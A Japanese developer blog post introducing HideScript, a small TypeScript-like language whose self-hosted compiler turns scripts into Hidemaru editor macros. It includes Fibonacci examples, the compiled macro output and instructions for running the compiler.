秀スクリプトという小さな言語処理系を開発した。秀スクリプトは、TypeScriptを大幅に縮小した文法を持ち、コンパイラによって秀丸マクロに変換され、秀丸上で実行される。秀スクリプトコンパイラは秀スクリプト自身により記述される。
 秀スクリプトの主な特徴は下記のとおり。
  • TypeScriptに似た文法を持ち、コンパイラも秀スクリプトで記述されている
  • 秀丸マクロを生成し、秀丸上で実行される
  • TypeScript同様、変数に型がある
  • 数値(整数)型と文字列型、これらの配列をサポート
  • if、while、do … whileの制御構造
  • 関数のサポート

はじめに

Windows上で使用するエディタとして長年秀丸を愛用しています。最近はVisual Studio Codeなども人気で、僕もインストールして使ってみたりはするのですが、長年手に馴染んだツールというのは、中々乗り換えが難しいものですね…ということで、普段は、もっぱら秀丸を使います。
秀丸には、秀丸マクロという簡単なマクロ言語があり、機能を追加することができますが、この秀丸マクロがなかなか厄介な代物…もとい、なんと言うか独特の仕様なのでとっつきにくい感じがします。以下は、秀丸マクロで書いたフィボナッチ数値のマクロです。ほら、文章を書いているとたまにフィボナッチ数列を引用したい時、あるでしょ…えっ、ないですか?
#n=1;
while (#n <= 10) {
  call fib #n;
  insert str(##return) + "\n";
  #n = #n + 1;
}
endmacro

fib:
  if (##1 <= 2) {
    return 1;
  }
  call fib ##1 - 2;
  ##temp = ##return;
  call fib ##1 - 1;
  return ##temp + ##return;
ご覧のように、中々独特の構文です。特徴を書いておくと下記のようになります。
  • 変数には型があり、整数型の変数は #foo、文字列型は $bar 等と書く
  • サブルーチンや関数が使える。引数は $$1 や ##1 等と記述する
  • サブルーチンや関数の呼び出しは、call文を用いる
  • ローカル変数が使える。ローカル変数は $$foo、##bar 等と記述する
  • 関数の戻り値は ##return という変数にセットされる
  • 制御構文として、ifやwhileが使える
というわけで、ちょっととっつきにくいですよね。仮に、秀丸マクロがJavaScript風の文法だったら、以下のようになるはずです。
function fib(n) {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = 1;
while (x <= 10) {
  insert(str(fib(x)) + "\n");
  x = x + 1;
}
うん、この方が分かりやすい…では、いっそ、JavaScript風の言語から秀丸マクロに変換するコンパイラ(トランスレータ、トランスパイラ)を作ってしまえと思い立ちました。

目標を決める

最初、秀丸マクロ使って以下のような簡単なコンパイラを書こうかと思っていたのですが、
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体は秀丸マクロで記述
試作しているうちに、どうも秀丸マクロでは作るのが辛いことと、昔Pascalコンパイラを作ったときのように「コンパイラ自体を記述できる」というのが格好いいなと思い始め、以下のように目標を決めました。この言語を「秀スクリプト」と呼ぶことにします。
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体を記述できる

ブートストラップ方針を決める

秀スクリプトのコンパイラが、秀スクリプト自身で記述してあるというと、最初の秀スクリプトコンパイラはどうやって作るのだろうという疑問が生まれますよね。この問題のことをブートストラップ問題というそうで、Wikipediaにも記載されています。
秀スクリプトの場合は、以下の戦略が考えられます。
  1. 秀スクリプトを既存言語のサブセットとして定義し、その既存言語のコンパイラでコンパイルする
  2. 最初は秀丸マクロでコンパイラを書き、次に秀スクリプトでコンパイラを書き直す
2は二度手間で面倒なので、できれば 1で行きたいですね。そうなると、既存言語で適当なものがあるかが問題になります。この「既存言語」のことをこれ以降は「親言語」と呼ぶことにします。

親言語を決める

親言語の選定は重要です。秀スクリプトは、その親言語のサブセットになるので、親言語の選定すなわち秀スクリプトの言語仕様を決めることに近いからです。
冒頭でJavaScriptで書けたらいいよね、みたいなことを書きましたが、実際にはJavaScriptから秀丸マクロへのコンパイル(変換)は困難です。なぜなら、秀丸マクロには「変数に型がある」からです。すなわち、冒頭で述べたように整数型の変数は #で始まり、文字列型の変数は $で始まるという仕様なので、どちらの変数を生成するかを決めるには、変数に型宣言をするか、型推論のようなややこしいことをしなければなりません。型推論は手におえないので、型宣言があるスクリプト言語を探すことにしました。
色々な言語を見たのですが、結局TypeScriptに落ち着きました。型のあるJavaScriptという感じで、イメージ通りです。Visual Studio 2017上でTypeScriptでWindowsコンソールアプリを開発する場合は Node.jsが選択される、ということで、生まれて初めてTypeScriptで、生まれて初めてNode.jsで開発することになりました。

秀スクリプトの言語仕様

秀スクリプトの言語仕様については、こちらをご覧ください。
親言語としてTypeScriptの文法を借りているとは言え、機能的にはBASICくらいのものですので、過度な期待はしないでくださいねw
以下は、冒頭で上げたフィボナッチ数列の記述例。概ね、当初の期待通りには書ける、というところですね。

使ってみる

フィボナッチ数列を埋め込むスクリプトを書いてみましょう。数値を秀丸上で選択してスクリプトを実行すると、その数値の個数だけフィボナッチ数列を生成するものです。
function fib(n : number) : number {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = val(gettext(seltopx(), seltopy(), selendx(), selendy(), 1)); 

var n = 1;
while (n <= x) {
  insertln(fib(n));
  n = n + 1;
}
コンパイル結果は下記となります。見やすいように空白や改行を補って整形しています。
goto _end_fib
fib:
    if (##1 <= 2) {
        return 1;
    }
    call fib  ##1 - 2;
    ##_0 = ##return;
    call fib  ##1 - 1;
    ##_1 = ##return;
    return ##_0 + ##_1;
    return 0;
_end_fib:

#x = val(gettext(seltopx, seltopy, selendx, selendy, 1));
#n = 1;
goto _LL1
_LL0:
    call fib  #n;
    #_0 = ##return;
    insert str(#_0) + "\n";
    #n = #n + 1;
_LL1:
if (#n <= #x) goto _LL0
_LL2:

これを動かしてみましょう。以下は、秀スクリプトのコンパイルから実行の映像です。



…ということで、秀丸を使っていて、文章中にフィボナッチ数列を埋め込む様子をご覧いただきました。

ダウンロード

githubのリポジトリから、Clone or Download▼ ボタンの Download ZIP によりZIPファイルをダウンロードしてください。あるいはリリースページから適当なzipファイルをダウンロードしてください。

hidescript/hidescript フォルダ内の下記のファイルがコンパイラ本体です。

  • hidescript.ts  TypeScript/秀スクリプトで書かれた秀スクリプトコンパイラソース
  • hidescript.js   TypeScriptにより変換された JavaScriptソース
  • hidescript.mac node.js/秀スクリプトによりコンパイルされた秀丸マクロ


使い方

秀スクリプトでソースを書いた後、秀丸マクロに変換するには以下の方法があります。

(1) 秀スクリプトコンパイラをTypeScriptとして解釈してJavaScriptにコンパイルした hidescript.js を Node.js上で動かす。
C:>node hidescript.js foo.hs
(2) 秀スクリプト記述の秀スクリプトコンパイラを自分自身でコンパイルした hidescript.macを用いて、秀丸上でコンパイルする
hidescript.macを秀丸にマクロ登録して、ショートカット等でコンパイラを起動します。実際には、自分自身をコンパイルする際に備えて、hidescript.macをhs.mac等にリネームして登録することをお勧めします。詳しくは、上記の映像をご覧ください。

まとめ

秀スクリプトという秀丸マクロを生成するスクリプト言語を開発しました。秀スクリプトは秀丸マクロの開発を便利にします。秀丸マクロはコンパイル時のチェックが非常に緩く、実行が始まってからさまざまなエラーが出たり、未定義の変数を参照してもエラーにならなかったりしますが、秀スクリプトは変数などの型などを厳密にチェックするからです。
まだ、組み込み関数などの定義が最低限のものしかありませんが、自分で追加することもできるので遊んでみて下さい。

謝辞

秀スクリプトの開発にあたり、秀丸マクロのサブルーチンのネスト回数が20回までという制限が厳しく、サポートフォーラムにて制限の緩和を要望したところ、200回までに緩和いただきました。この仕様緩和で、秀スクリプトを秀丸上でコンパイルできるようになりました。ご担当いただいた「秀丸担当」様、サイトー企画様にあつくお礼申し上げます。ありがとうございました。

フォロワー